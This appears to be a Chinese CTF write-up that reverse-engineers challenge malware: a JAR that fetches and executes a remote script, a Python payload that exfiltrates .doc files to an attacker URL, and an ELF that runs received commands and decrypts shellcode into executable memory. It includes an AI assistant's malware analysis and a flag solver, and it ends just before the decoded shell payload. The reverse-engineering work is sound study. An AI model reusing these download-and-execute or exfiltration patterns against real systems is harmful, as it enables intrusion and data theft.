flag2位于lol.sh内第二行的注释内。这个脚本本身是一个巨大base64脚本解码后存到./malw文件里,给权限执行。

./malw是个ELF文件,可以直接strings提取明文flag,不需要逆向。

另外逆向之后会发现特别好玩,它putsrm -rf /然后sleep多次,点到为止。

★☆☆-rev ConnectionChecker

开始上强度了。

flag1-2: JAR逆向

首先是给了一个JAR包,使用jd-gui打开后,提取出主要的TestEt.java类,里面包含了主函数。

TestEt.java
public static final void main() {
String start_token = "U0stQ0VSVHtqNHJfZDNjMG1wX2s3fQ==";
byte[] decodedBytes = Base64.getDecoder().decode(start_token);
Intrinsics.checkNotNull(decodedBytes);
String decodedString = new String(decodedBytes, Charsets.UTF_8);
if (!((decodedString.length() > 0) ? 1 : 0) || decodedString.charAt(0) != 'S') {
System.exit(0);
throw new RuntimeException("System.exit returned normally, while it was supposed to halt JVM.");
}
String serverIp = "195.168.112.4";
int serverPort = 7051;
if (getCurrentSSID() == null)
getCurrentSSID();
String ssid = "unknown_ssid";
if (getLocalIp() == null)
getLocalIp();
String ip = "unknown_ip";
String combined = ssid + '|' + ip;
String hash = md5(combined);
if (Intrinsics.areEqual(hash, "de2ca7388ab6efb59a977505b9414ca2"))
try {
Socket socket = new Socket(serverIp, serverPort);
PrintWriter output = new PrintWriter(socket.getOutputStream(), true);
BufferedReader input = new BufferedReader(new InputStreamReader(socket.getInputStream()));
byte[] arrayOfByte1 = new byte[25];
arrayOfByte1[0] = -67;
arrayOfByte1[1] = -33;
arrayOfByte1[2] = 90;
arrayOfByte1[3] = 3;
arrayOfByte1[4] = -3;
arrayOfByte1[5] = -61;
arrayOfByte1[6] = -71;
arrayOfByte1[7] = 35;
arrayOfByte1[8] =
109;
arrayOfByte1[9] = 78;
arrayOfByte1[10] = 37;
arrayOfByte1[11] = -109;
arrayOfByte1[12] = 113;
arrayOfByte1[13] = 90;
arrayOfByte1[14] = 65;
arrayOfByte1[15] = -109;
arrayOfByte1[16] = -99;
arrayOfByte1[17] = 66;
arrayOfByte1[18] = 90;
arrayOfByte1[19] = 66;
arrayOfByte1[20] = 65;
arrayOfByte1[21] = 83;
arrayOfByte1[22] = 66;
arrayOfByte1[23] = 79;
arrayOfByte1[24] = 53;
byte[] s = arrayOfByte1;
for (int m = 0, i = s.length; m < i; m++) {
int c = s[m] & 0xFF;
c ^= m;
c = c - 10 & 0xFF;
c = -c & 0xFF;
c = c + m & 0xFF;
c = (c >> 2 | c << 6) & 0xFF;
s[m] = (byte)c;
}
String encodedData = base64(hash + '|' + new String(s, Charsets.UTF_8));
output.println(encodedData);
String response = input.readLine();
if (response == null) {
System.exit(0);
throw new RuntimeException("System.exit returned normally, while it was supposed to halt JVM.");
}
File tmpFile = File.createTempFile("tempScript", ".sh");
try {
Intrinsics.checkNotNull(tmpFile);
FilesKt.writeText$default(tmpFile, response, null, 2, null);
tmpFile.setExecutable(true);
Process process = Runtime.getRuntime().exec(tmpFile.getAbsolutePath());
int j = process.waitFor();
} finally {
tmpFile.delete();
}
input.close();
output.close();
socket.close();
} catch (IOException iOException) {}
}

我不是很熟悉Java,但即使只看变量名,也能大致猜出这个程序的逻辑。首先,我们能看到String start_token = "U0stQ0VSVHtqNHJfZDNjMG1wX2s3fQ==";,这个变量,Base64解码后就是flag1: SK-CERT{j4r_d3c0mp_k7}

然后我们发现String serverIp = "195.168.112.4"; int serverPort = 7051;这两个变量,说明这个程序和这个端口进行了通信。接下来一段似乎有获取本地SSID和IP的逻辑,不用管它,因为后面有一个取md5和特定hash比较相等,如果要进入这个逻辑必须要满足这个条件,看起来这是一个针对特定Wifi下特定设备的定向攻击。

继续往下看,发现了一个巨大的字节数组arrayOfByte1,之后对这个数组进行了一些异或移位加密,并与之前的hash连在一起,base64编码后,向对应端口发送。虽然我手头没有Java环境,但是我可以很方便把它转成Javascript用nodejs运行,最终得到SK-CERT{k3y_f0r_c253rv3r},这就是flag2。

接下来程序读取远程输入后,创建了一个tempScript.sh的文件,设置执行权限后运行。

flag3: Python Marshal逆向

返回的是一段Python脚本,marshal.loads反序列化了一个base64编码后的字符串,然后exec执行。我们可以手动from dis import dis; dis(code)marshal.loads后的内容进行反编译。

考虑到直接逆向确实有些难度,我请教了gemini,这是它的看法:

pyc字节码分析
🧑‍💻 User

请分析这段python bytecode:

 13           0 RETURN_GENERATOR
2 POP_TOP
4 RESUME 0
6 LOAD_FAST 0 (.0)
>> 8 FOR_ITER 60 (to 130)
10 UNPACK_SEQUENCE 2
14 STORE_FAST 1 (i)
16 STORE_FAST 2 (b)
18 LOAD_GLOBAL 1 (NULL + chr)
30 LOAD_FAST 2 (b)
32 LOAD_GLOBAL 3 (NULL + ord)
44 LOAD_CONST 0 ('UIGioepxhWnwGIOK')
46 LOAD_FAST 1 (i)
48 LOAD_GLOBAL 5 (NULL + len)
60 LOAD_CONST 0 ('UIGioepxhWnwGIOK')
62 PRECALL 1
66 CALL 1
76 BINARY_OP 6 (%)
80 BINARY_SUBSCR
90 PRECALL 1
94 CALL 1
104 BINARY_OP 12 (^)
108 PRECALL 1
112 CALL 1
122 YIELD_VALUE
124 RESUME 1
126 POP_TOP
128 JUMP_BACKWARD 61 (to 8)
>> 130 LOAD_CONST 1 (None)
132 RETURN_VALUE

🤖 Assistant

这段Python字节码看起来是一个生成器函数,它执行了一些字符操作和XOR加密操作。我来逐步分析这段字节码的功能:

  1. 这是一个生成器函数(RETURN_GENERATOR指令表明)

  2. 代码的主要部分是一个循环(FOR_ITER到JUMP_BACKWARD之间的部分)

  3. 关键操作:

    • 每次迭代从输入中解包两个值(i和b)
    • 对常量字符串"UIGioepxhWnwGIOK"进行操作:
      • 取字符串长度(len)
      • 用i对长度取模(%)作为索引
      • 获取该位置的字符
    • 对这个字符调用ord()获取ASCII码
    • 与b进行XOR运算(^)
    • 最后调用chr()将结果转为字符并产出(yield)
  4. 从逻辑上看,这实现了一个类似流密码的加密/解密功能:

    • 使用"UIGioepxhWnwGIOK"作为密钥
    • 对输入的每个字节b,与密钥中特定位置的字符进行XOR操作

对应的Python代码可能类似这样:

def generator_func(iterable):
for i, b in iterable:
key_char = 'UIGioepxhWnwGIOK'[i % len('UIGioepxhWnwGIOK')]
yield chr(b ^ ord(key_char))

安全建议:

  1. 这种简单的XOR加密不够安全,不应作为安全关键应用的加密方案
  2. 密钥硬编码在代码中也不安全
  3. 考虑使用标准加密库如AES而不是自制加密
  4. 这种代码容易受到已知明文攻击

如果您需要真正的安全保护,我建议:

  • 使用标准的加密算法(AES等)
  • 实现适当的密钥管理
  • 添加完整性校验(HMAC)
  • 考虑使用TLS等传输层安全

您需要了解这段代码的具体用途吗?这段代码看起来像是某种简单的混淆或加密实现。


🧑‍💻 User

这是同一个文件的另外一段,看起来像主函数。请分析整个模块的作用

  0           0 RESUME                   0

1 2 LOAD_CONST 0 (0)
4 LOAD_CONST 1 (None)
6 IMPORT_NAME 0 (os)
8 STORE_NAME 0 (os)

2 10 LOAD_CONST 0 (0)
12 LOAD_CONST 1 (None)
14 IMPORT_NAME 1 (base64)
16 STORE_NAME 1 (base64)

3 18 LOAD_CONST 0 (0)
20 LOAD_CONST 1 (None)
22 IMPORT_NAME 2 (requests)
24 STORE_NAME 2 (requests)

5 26 LOAD_CONST 2 (<code object s at 0x559de27eccd0, file "payload.py", line 5>)
28 MAKE_FUNCTION 0
30 STORE_NAME 3 (s)

18 32 LOAD_NAME 4 (__name__)
34 LOAD_CONST 3 ('__main__')
36 COMPARE_OP 2 (==)
42 POP_JUMP_FORWARD_IF_FALSE 15 (to 74)

19 44 LOAD_CONST 4 ('.')
46 STORE_NAME 5 (directory)

20 48 PUSH_NULL
50 LOAD_NAME 3 (s)
52 LOAD_NAME 5 (directory)
54 PRECALL 1
58 CALL 1
68 POP_TOP
70 LOAD_CONST 1 (None)
72 RETURN_VALUE

18 >> 74 LOAD_CONST 1 (None)
76 RETURN_VALUE

Disassembly of <code object s at 0x559de27eccd0, file "payload.py", line 5>:
5 0 RESUME 0

6 2 LOAD_GLOBAL 1 (NULL + os)
14 LOAD_ATTR 1 (walk)
24 LOAD_FAST 0 (directory)
26 PRECALL 1
30 CALL 1
40 GET_ITER
>> 42 EXTENDED_ARG 1
44 FOR_ITER 286 (to 618)
46 UNPACK_SEQUENCE 3
50 STORE_FAST 1 (root)
52 STORE_FAST 2 (dirs)
54 STORE_FAST 3 (files)

7 56 LOAD_FAST 3 (files)
58 GET_ITER
>> 60 EXTENDED_ARG 1
62 FOR_ITER 275 (to 614)
64 STORE_FAST 4 (file)

8 66 LOAD_FAST 4 (file)
68 LOAD_METHOD 2 (lower)
90 PRECALL 0
94 CALL 0
104 LOAD_METHOD 3 (endswith)
126 LOAD_CONST 1 ('.doc')
128 PRECALL 1
132 CALL 1
142 POP_JUMP_FORWARD_IF_FALSE 233 (to 610)

9 144 LOAD_GLOBAL 0 (os)
156 LOAD_ATTR 4 (path)
166 LOAD_METHOD 5 (join)
188 LOAD_FAST 1 (root)
190 LOAD_FAST 4 (file)
192 PRECALL 2
196 CALL 2
206 STORE_FAST 5 (full_path)

10 208 NOP

11 210 LOAD_GLOBAL 13 (NULL + open)
222 LOAD_FAST 5 (full_path)
224 LOAD_CONST 2 ('rb')
226 PRECALL 2
230 CALL 2
240 BEFORE_WITH
242 STORE_FAST 6 (f)

12 244 LOAD_CONST 3 ('file')
246 LOAD_FAST 4 (file)
248 LOAD_FAST 6 (f)
250 BUILD_TUPLE 2
252 BUILD_MAP 1
254 STORE_FAST 6 (f)

13 256 LOAD_GLOBAL 15 (NULL + exec)
268 LOAD_CONST 4 ('')
270 LOAD_METHOD 5 (join)
292 LOAD_CONST 5 (<code object <genexpr> at 0x7fd5c4a97af0, file "payload.py", line 13>)
294 MAKE_FUNCTION 0
296 LOAD_GLOBAL 17 (NULL + enumerate)
308 LOAD_GLOBAL 19 (NULL + __import__)
320 LOAD_CONST 6 ('base64')
322 PRECALL 1
326 CALL 1
336 LOAD_METHOD 10 (b64decode)
358 LOAD_CONST 7 ('IGl6SU0NBAwYbUFYJj07KjYiIhtBBBQcGjIdBGglKio+FiEAAwBTKyN6LTIVHTQ7LH4vWQE6AEwRO15DIzRt')
360 PRECALL 1
364 CALL 1
374 PRECALL 1
378 CALL 1
388 GET_ITER
390 PRECALL 0
394 CALL 0
404 PRECALL 1
408 CALL 1
418 LOAD_GLOBAL 23 (NULL + globals)
430 PRECALL 0
434 CALL 0
444 PRECALL 2
448 CALL 2
458 POP_TOP

14 460 LOAD_GLOBAL 25 (NULL + requests)
472 LOAD_ATTR 13 (post)
482 LOAD_GLOBAL 28 (u)
494 LOAD_FAST 6 (f)
496 KW_NAMES 8
498 PRECALL 2
502 CALL 2
512 STORE_FAST 7 (response)

11 514 LOAD_CONST 0 (None)
516 LOAD_CONST 0 (None)
518 LOAD_CONST 0 (None)
520 PRECALL 2
524 CALL 2
534 POP_TOP
536 JUMP_FORWARD 11 (to 560)
>> 538 PUSH_EXC_INFO
540 WITH_EXCEPT_START
542 POP_JUMP_FORWARD_IF_TRUE 4 (to 552)
544 RERAISE 2
>> 546 COPY 3
548 POP_EXCEPT
550 RERAISE 1
>> 552 POP_TOP
554 POP_EXCEPT
556 POP_TOP
558 POP_TOP
>> 560 JUMP_BACKWARD 251 (to 60)
>> 562 PUSH_EXC_INFO

15 564 LOAD_GLOBAL 30 (Exception)
576 CHECK_EXC_MATCH
578 POP_JUMP_FORWARD_IF_FALSE 11 (to 602)
580 STORE_FAST 8 (e)

16 582 POP_EXCEPT
584 LOAD_CONST 0 (None)
586 STORE_FAST 8 (e)
588 DELETE_FAST 8 (e)
590 EXTENDED_ARG 1
592 JUMP_BACKWARD 267 (to 60)
594 LOAD_CONST 0 (None)
596 STORE_FAST 8 (e)
598 DELETE_FAST 8 (e)
600 RERAISE 1

15 >> 602 RERAISE 0
>> 604 COPY 3
606 POP_EXCEPT
608 RERAISE 1

8 >> 610 EXTENDED_ARG 1
612 JUMP_BACKWARD 277 (to 60)

7 >> 614 EXTENDED_ARG 1
616 JUMP_BACKWARD 288 (to 42)

6 >> 618 LOAD_CONST 0 (None)
620 RETURN_VALUE

🤖 Assistant

这段代码是一个恶意软件(malware)的payload模块,主要功能是遍历磁盘文件、窃取特定文档(.doc文件),并通过网络发送给攻击者。以下是详细分析:


1. 模块的总体功能

  1. 导入关键库

    • os:用于文件系统操作
    • base64:用于解密或编码数据
    • requests:用于发送HTTP请求(数据回传)
  2. 主逻辑(s 函数)

    • 递归遍历指定目录(directory,默认为当前目录 .
    • 搜索 .doc 文件(不区分大小写)
    • 读取文件内容并打包
    • 使用 requests.post 发送到攻击者的服务器
  3. 攻击链分析

    • 该代码可能是一个 间谍软件(spyware)或数据窃取工具,专门收集 .doc 文档。
    • 包含一个 硬编码的Base64加密字符串,很可能用于解密恶意指令。

2. 关键恶意行为分析

(1) 文件遍历 & 数据窃取
for root, dirs, files in os.walk(directory):  # 递归遍历目录
for file in files:
if file.lower().endswith('.doc'): # 搜索.doc文件
full_path = os.path.join(root, file)
with open(full_path, 'rb') as f: # 读取文件内容
# ... 后续可能压缩/加密文件数据
(2) 隐藏的恶意代码执行
exec(''.join(
# 这是一个生成器表达式,解码并执行恶意代码
chr(b ^ ord('UIGioepxhWnwGIOK'[i % len('UIGioepxhWnwGIOK')]))
for i, b in enumerate(
base64.b64decode('IGl6SU0NBAwYbUFYJj07KjYiIhtBBBQcGjIdBGglKio+FiEAAwBTKyN6LTIVHTQ7LH4vWQE6AEwRO15DIzRt')
)
))
  • 这段代码极其危险
    • 它使用 XOR + Base64 解密一段恶意代码并 exec() 执行。
    • 可能会下载更多恶意payload执行勒索软件安装后门
(3) 数据回传 (C2 通信)
requests.post(u, files=f)  # 发送文件到攻击者服务器
  • u 可能是 硬编码的命令与控制(C2)服务器地址(隐藏在恶意生成器中)。
  • 攻击者可以通过这个请求获取 .doc 文件。

3. 威胁评估

威胁类型风险等级影响
数据窃取(Data Exfiltration)⚠️ 泄露敏感 .doc 文件
远程代码执行(RCE)🔥 严重exec() 可执行任意代码
持久化后门⚠️ 中高可能驻留系统继续攻击
横向渗透⚠️ 可遍历网络共享文件

4. 防御建议

(1) 检测 & 清除

立即检查系统

  • 查找 payload.py 或类似文件。
  • 检查 /tmp/AppData 等隐蔽目录。

监控网络流量

  • requests.post 可能连接 http://IP:PORT/upload 之类的C2服务器。
  • Wireshark防火墙日志 检查可疑连接。
(2) 防护措施

阻止恶意连接

  • 防火墙封禁该恶意IP/Domain。
  • 禁用未授权的 POST 请求。

增强安全策略

  • 限制 exec() 和动态代码执行。
  • 监控异常文件操作(如 .doc 文件批量读取)。
(3) 恢复 & 加固

修复受损系统

  • 彻底删除该恶意脚本和相关文件。
  • 检查是否有其他恶意进程残留。

未来防护

  • 使用 EDR/XDR 检测此类恶意行为(如文件遍历+数据回传)。
  • 禁止普通用户执行 os.walk 等高风险操作。

结论

这段代码是典型的 恶意数据窃取程序(可能属于APT攻击的一部分)。建议:

  1. 立即隔离受影响机器
  2. 检查是否有敏感文件泄露
  3. 升级安全防护措施,防止类似攻击再次发生。

🔍 是否需要进一步分析(如解密C2地址/提取完整payload)?

惊为天人。所以这个文件是在系统搜索.doc文件,并使用某个密钥进行XOR加密后,对代码进行执行(可能部分逆向逻辑不对)。我们模拟运行,并把最后的exec改为print,终于得到flag3 u = "http://attacker.address/leak_file#SK-CERT{py7h0n_p4yl04d}"

★★☆-rev The Chronicles of Greg

这个题目从一个恶意的ELF文件开始。

flag1

Ghidra逆向后,发现没有符号表,有一大堆的非标准跳转。

查看entry后第一个跳转的函数0x20c0,这似乎是初始化用的,有大量基本单元组成:

001020c0 48 8d 05        LEA        RAX,[FUN_00101390]
c9 f2 ff ff
001020c7 48 8d 15 LEA RDX,[FUN_00101340]
72 f2 ff ff
001020ce 66 48 0f MOVQ XMM1,RAX
6e c8
001020d3 66 48 0f MOVQ XMM0,RDX
6e c2
001020d8 48 8d 05 LEA RAX,[FUN_00101980]
a1 f8 ff ff
001020df 66 0f 6c c1 PUNPCKLQDQ XMM0,XMM1
001020e3 48 8d 0d LEA RCX,[FUN_001013e0]
f6 f2 ff ff
001020ea 66 48 0f MOVQ XMM2,RAX
6e d0
001020ef 0f 29 05 MOVAPS xmmword ptr [DAT_00105140],XMM0 = ??
4a 30 00 00
001020f6 66 48 0f MOVQ XMM0,RCX
6e c1

看起来包括了一些不太熟悉的汇编,比如PUNPCKLQDQ,问过gemini知道这段实际功能就是用XMM1, XMM0对多个地址打包然后重新填充,起作用仅仅是把特定的函数指针(如1390, 1340)填充到目标位置(bss段的5140)。这实际上是函数虚表填充的过程。我们可以直接通过gdb断点在函数20c0返回之后,然后从5140的内存处读取数据:

0x555555559140: 0x0000555555555340      0x0000555555555390
0x555555559150: 0x00005555555553e0 0x0000555555555980
0x555555559160: 0x0000555555555430 0x00005555555557a0
0x555555559170: 0x00005555555557f0 0x00005555555559d0
0x555555559180: 0x0000555555555840 0x0000555555555890
0x555555559190: 0x0000555555555a20 0x00005555555558e0
0x5555555591a0: 0x0000555555555930 0x0000555555555480
0x5555555591b0: 0x00005555555554d0 0x0000555555555520
0x5555555591c0: 0x0000555555555570 0x00005555555555c0
0x5555555591d0: 0x0000555555555610 0x0000555555555660
0x5555555591e0: 0x00005555555556b0 0x0000555555555700
0x5555555591f0: 0x0000555555555750 0x0000555555556030

这里虚表的函数几乎都有相同结构,我们首先随便看其中两个函数:

void FUN_00101980(void)

{
long lVar1;

lVar1 = (long)DAT_00105200_keycode_ind;
DAT_00105200_keycode_ind = DAT_00105200_keycode_ind + 1;
(&DAT_00105220)[lVar1] = *(byte *)(DAT_00105260_argv1 + lVar1) ^ 0xa3;
DAT_00105204_vtable_ind = DAT_00105204_vtable_ind + 1;
/* WARNING: Could not recover jumptable at 0x001019c5. Too many branches */
/* WARNING: Treating indirect jump as call */
(**(code **)(&DAT_00105140 + (long)DAT_00105204_vtable_ind * 8))();
return;
}

void FUN_00101610(void)

{
long lVar1;

lVar1 = (long)DAT_00105200_keycode_ind;
DAT_00105200_keycode_ind = DAT_00105200_keycode_ind + 1;
(&DAT_00105220)[lVar1] = -*(char *)(DAT_00105260_argv1 + lVar1) - 4U ^ 0x5c;
DAT_00105204_vtable_ind = DAT_00105204_vtable_ind + 1;
/* WARNING: Could not recover jumptable at 0x00101657. Too many branches */
/* WARNING: Treating indirect jump as call */
(**(code **)(&DAT_00105140 + (long)DAT_00105204_vtable_ind * 8))();
return;
}

看起来包含了5200、5204这两个计数器,然后对5260对应位置的数据进行加减异或运算,并且最后跳转到虚表对应的下一个函数。我们可以利用pwntools读取字节码,提取关键字节模拟函数行为。

我们再回到入口函数20c0,看看这个5260参数是什么:

undefined8 FUN_00101210_main(int param_1_argc,char **param_2)

{
FUN_001020c0_init();
DAT_00105260_argv1 = param_2[1];
(**(code **)(&DAT_00105140 + (long)DAT_00105204_vtable_ind * 8))();
return 0;
}

看起来5260就是argv[1],也就是运行时传入的参数。我们最后再看看出口,也就是虚表最后一个函数跳转到的1f50。


void FUN_00101f50_callconnect(void)

{
char *__buf;
int __fd;
int iVar1;
long lVar2;
size_t __n;
ssize_t sVar3;
sockaddr local_28;

__fd = socket(2,1,0);
if (-1 < __fd) {
local_28.sa_family = 2;
local_28.sa_data[0] = '\x1b';
local_28.sa_data[1] = '\x8c';
iVar1 = inet_pton(2,"195.168.112.4",local_28.sa_data + 2);
if ((0 < iVar1) &&
(iVar1 = connect(__fd,&local_28,0x10), __buf = DAT_00105260_argv1, -1 < iVar1)) {
lVar2 = 0;
do {
if ((&DAT_00105220)[lVar2] != (&DAT_001050f0)[lVar2]) {
return;
}
lVar2 = lVar2 + 1;
} while (lVar2 != 0x18);
__n = strlen(DAT_00105260_argv1);
sVar3 = send(__fd,__buf,__n,0);
if (-1 < sVar3) {
FUN_00101e70_callsystem(__fd);
close(__fd);
return;
}
}
close(__fd);
}
/* WARNING: Subroutine does not return */
exit(1);
}

虽然IP地址和端口很引人注目(其实就是之前那个jar逆向的相邻端口),但是更要关注的是后面的那个比较,5220就是之前一直被异或加密的argv[1],而50f0指向rodata段的一个静态数组。于是这就成了一个经典逆向密码题。

看起来这一部分如果用angr符号执行会容易很多,但我是直接逆向的,代码如下:

rev1.py
from pwn import context, ELF, remote, disasm
from pydantic import BaseModel
import os
from sys import argv

context.log_level = 'debug'
context.arch = 'amd64'

EVIL_HOST = '195.168.112.4'
EVIL_PORT = 7052

exe = ELF(os.path.join(os.path.dirname(__file__), './system_update'))

after_init_raw = """
0x555555559140: 0x0000555555555340 0x0000555555555390
0x555555559150: 0x00005555555553e0 0x0000555555555980
0x555555559160: 0x0000555555555430 0x00005555555557a0
0x555555559170: 0x00005555555557f0 0x00005555555559d0
0x555555559180: 0x0000555555555840 0x0000555555555890
0x555555559190: 0x0000555555555a20 0x00005555555558e0
0x5555555591a0: 0x0000555555555930 0x0000555555555480
0x5555555591b0: 0x00005555555554d0 0x0000555555555520
0x5555555591c0: 0x0000555555555570 0x00005555555555c0
0x5555555591d0: 0x0000555555555610 0x0000555555555660
0x5555555591e0: 0x00005555555556b0 0x0000555555555700
0x5555555591f0: 0x0000555555555750 0x0000555555556030"""


start_addr = 0x5140
base_addr = 0x555555554000
vtable_list = []
for il, line in enumerate(after_init_raw.strip().split('\n')):
a,b,c = line.split()
# addr = int(a.replace(':',''), 16)
# offset = addr - start_addr - il * 0x10

func1 = int(b, 16) - base_addr
func2 = int(c, 16) - base_addr
vtable_list.append(func1)
vtable_list.append(func2)

print([f"{v:x}" for v in vtable_list], len(vtable_list))
data_50f0 = exe.read(0x50f0, 0x18)

class XORFunc(BaseModel):
code: bytes
plus_num: int
xor_num: int
posi: bool

@classmethod
def parse(cls, code: bytes):
assert len(code) == 0x50

if code[0x11:0x15] == bytes.fromhex('0f b6 14 0a'):
posi = True
plus_num = 0
xor_num = int.from_bytes(code[0x29:0x2a], 'little')
else:
posi = False
plus_num_raw = code[0xf:0x13]
if plus_num_raw.endswith(b'\xff\xff\xff'):
plus_num = int.from_bytes(plus_num_raw, 'little') - (1<<32)
xor_num = int.from_bytes(code[0x1e:0x1f], 'little')
else:
# 1390 hardcode
plus_num = 0
xor_num = 0x5c

# assert (not posi) or (plus_num == 0)
assert 0<= xor_num < 0x100

return cls(
code=code,
plus_num=plus_num,
xor_num=xor_num,
posi=posi
)

def eval(self, data: int):
"""(data + plus_num) ^ xor_num
"""
if self.posi:
return (((data + self.plus_num) % 256) ^ self.xor_num) % 256
else:
return (((- data + self.plus_num + 256 * 20) % 256) ^ self.xor_num) % 256

def rev_eval(self, data: int):
"""(data + plus_num) ^ xor_num
"""
if self.posi:
# hardcode 0
return data ^ self.xor_num
else:
return 256 - (((data ^ self.xor_num) - self.plus_num + 256) % 256)

def __str__(self):
return f"{__class__.__name__}(plus_num: {self.plus_num} xor_num: {self.xor_num} posi: {self.posi})"

result_str = []
for ifunc, func_offset in enumerate(vtable_list):
func_data = exe.read(func_offset, 0x50)
xor_func = XORFunc.parse(func_data)
print(f"{ifunc:02d}-{func_offset:x}: {xor_func}")
dec = xor_func.rev_eval(data_50f0[ifunc])
result_str.append(chr(dec))

print(''.join(result_str))
# SK-CERT{g3771ng_p4yl04d}

很显然逆出来就是flag1

flag2

得出逆向结果后,原始程序直接把这部分数据发送到了对应端口。我们可以先nc上去随意试一下,如果乱输入一通,会得到COMMAND: apt update,跟随后面的逻辑(1e70),似乎会用system执行这个指令。

如果把flag1发送过去,会得到以ENC: 开头的乱码,这部分会进入另一个函数,即1d20。


undefined8 FUN_00101d20_execute_shellcode(uchar *param_1,int param_2)

{
uint __seed;
int iVar1;
int iVar2;
EVP_CIPHER_CTX *ctx;
EVP_CIPHER *cipher;
void *__dest;
code *pcVar3;
long lVar4;
int local_105c;
uchar local_1058 [16];
uchar local_1048 [16];
uchar local_1038 [4104];

lVar4 = 0;
__seed = FUN_00101c30_callpopen_getseed("/lib/x86_64-linux-gnu/libc.so.6");
srand(__seed);
do {
iVar1 = rand();
local_1058[lVar4] = (uchar)iVar1;
iVar1 = rand();
local_1048[lVar4] = (uchar)iVar1;
lVar4 = lVar4 + 1;
} while (lVar4 != 0x10);
/* rand() for local_1058/local_1048 */
ctx = EVP_CIPHER_CTX_new();
cipher = EVP_aes_128_cbc();
EVP_DecryptInit_ex(ctx,cipher,(ENGINE *)0x0,local_1058,local_1048);
EVP_DecryptUpdate(ctx,local_1038,&local_105c,param_1,param_2);
iVar1 = local_105c;
iVar2 = EVP_DecryptFinal_ex(ctx,local_1038 + local_105c,&local_105c);
if (iVar2 < 1) {
EVP_CIPHER_CTX_free(ctx);
}
else {
iVar1 = iVar1 + local_105c;
EVP_CIPHER_CTX_free(ctx);
if (-1 < iVar1) {
local_1038[iVar1] = '\0';
__dest = mmap((void *)0x0,(long)param_2,7,0x22,-1,0);
if (__dest != (void *)0xffffffffffffffff) {
pcVar3 = (code *)memcpy(__dest,local_1038,(long)iVar1);
/* execute mmap code */
(*pcVar3)();
return 0;
}
perror("mmap");
}
}
return 1;
}

这个函数首先能看到调用1c30函数计算了srand的输入,我们等下再分析这个函数。后面用rand初始化了local_1058, local_1048两个16字节的随机数,然后用这两个随机数传入EVP_aes_128_cbc函数,进行解密。查openssl文档可知道这两个随机数一个是key一个是IV。解密后,程序mmap了一块内存,把解密内容复制上去之后,直接执行了代码。因此这段内容是一个加密的shellcode。

我们最后看看初始化种子的1c30函数,值得注意的是这个函数传入了Linux下默认glibc的地址/lib/x86_64-linux-gnu/libc.so.6作为参数:


ulong FUN_00101c30_callpopen_getseed(char *param_1)

{
uint uVar1;
FILE *__stream;
char *pcVar2;
ulong uVar3;
uint local_120;
uint local_11c;
char local_118 [256];

local_120 = 0;
local_11c = 0;
/* param_1: libc.so.6 */
__stream = popen(param_1,"r");
if (__stream != (FILE *)0x0) {
do {
pcVar2 = fgets(local_118,0x100,__stream);
if (pcVar2 == (char *)0x0) goto LAB_00101c9d;
pcVar2 = strstr(local_118,"release version");
} while (pcVar2 == (char *)0x0);
/* if successfully execute libc.so.6. will get glibc version, e.g. 2.35 */
__isoc99_sscanf(local_118,"%*[^0-9]%u.%u",&local_120,&local_11c);
LAB_00101c9d:
pclose(__stream);
if (local_120 != 0 || local_11c != 0) {
uVar1 = local_120 << 0x10 | local_11c << 8 | local_120 ^ local_11c;
uVar1 = (uVar1 ^ uVar1 >> 0xd) * 0x5bd1e995;
return (ulong)(uVar1 ^ uVar1 >> 0xf);
}
}
uVar3 = time((time_t *)0x0);
return uVar3;
}

可以看到这个函数首先直接popen执行了glibc库,我们知道直接执行glibc库会打印版本信息。接下来程序用sscanf获取了glibcrelease version后的数字版本号,并对版本号做了一些运算得到种子。

我们并不知道这个程序工作的版本号是什么,我们可以直接遍历这个过程,看看哪个过程能把shellcode解密成可以执行的样子,最终可以确定对应版本是2.38

解码并反汇编后的shellcode:

   0:   48 8d 35 d1 00 00 00    lea    rsi, [rip+0xd1]        # 0xd8
7: 48 31 db xor rbx, rbx
a: 8a 04 1e mov al, BYTE PTR [rsi+rbx*1]
d: 34 68 xor al, 0x68
f: 04 32 add al, 0x32
11: 34 e2 xor al, 0xe2
13: 2c c5 sub al, 0xc5
15: 88 04 1e mov BYTE PTR [rsi+rbx*1], al
18: 48 ff c3 inc rbx
1b: 48 81 fb b1 00 00 00 cmp rbx, 0xb1
22: 7c e6 jl 0xa
24: c6 04 1e 00 mov BYTE PTR [rsi+rbx*1], 0x0
28: b8 02 00 00 00 mov eax, 0x2
2d: 48 8d 3d 61 01 00 00 lea rdi, [rip+0x161] # 0x195
34: be 41 02 00 00 mov esi, 0x241
39: ba a4 01 00 00 mov edx, 0x1a4
3e: 0f 05 syscall
40: 48 89 c3 mov rbx, rax
43: b8 01 00 00 00 mov eax, 0x1
48: 48 89 df mov rdi, rbx
4b: 48 8d 35 86 00 00 00 lea rsi, [rip+0x86] # 0xd8
52: ba b1 00 00 00 mov edx, 0xb1
57: 0f 05 syscall
59: b8 03 00 00 00 mov eax, 0x3
5e: 48 89 df mov rdi, rbx
61: 0f 05 syscall
63: b8 5a 00 00 00 mov eax, 0x5a
68: 48 8d 3d 26 01 00 00 lea rdi, [rip+0x126] # 0x195
6f: be ff 01 00 00 mov esi, 0x1ff
74: 0f 05 syscall
76: 48 8d 3d 1f 01 00 00 lea rdi, [rip+0x11f] # 0x19c
7d: 48 8d 05 06 01 00 00 lea rax, [rip+0x106] # 0x18a
84: 48 89 07 mov QWORD PTR [rdi], rax
87: 48 8d 05 04 01 00 00 lea rax, [rip+0x104] # 0x192
8e: 48 89 47 08 mov QWORD PTR [rdi+0x8], rax
92: 48 8d 05 fc 00 00 00 lea rax, [rip+0xfc] # 0x195
99: 48 89 47 10 mov QWORD PTR [rdi+0x10], rax
9d: 48 c7 47 18 00 00 00 00 mov QWORD PTR [rdi+0x18], 0x0
a5: 48 8d 3d de 00 00 00 lea rdi, [rip+0xde] # 0x18a
ac: 48 8d 35 e9 00 00 00 lea rsi, [rip+0xe9] # 0x19c
b3: 48 31 d2 xor rdx, rdx
b6: b8 3b 00 00 00 mov eax, 0x3b
bb: 0f 05 syscall
bd: b8 57 00 00 00 mov eax, 0x57
c2: 48 8d 3d cc 00 00 00 lea rdi, [rip+0xcc] # 0x195
c9: 0f 05 syscall
cb: b8 3c 00 00 00 mov eax, 0x3c
d0: 48 31 ff xor rdi, rdi
d3: 0f 05 syscall

这部分其实也是对shellcode后面附带的一部分数据进行解密操作,可以直接喂给deepseek,它认为这段代码等效于对载荷每个字节进行XOR 0x68; ADD 0x32; XOR 0xe2; SUB 0xc5处理后写回原位,之后打开文件,写入数据,给777权限,execve执行。

我们不妨看看解码后的载荷对应的shell:

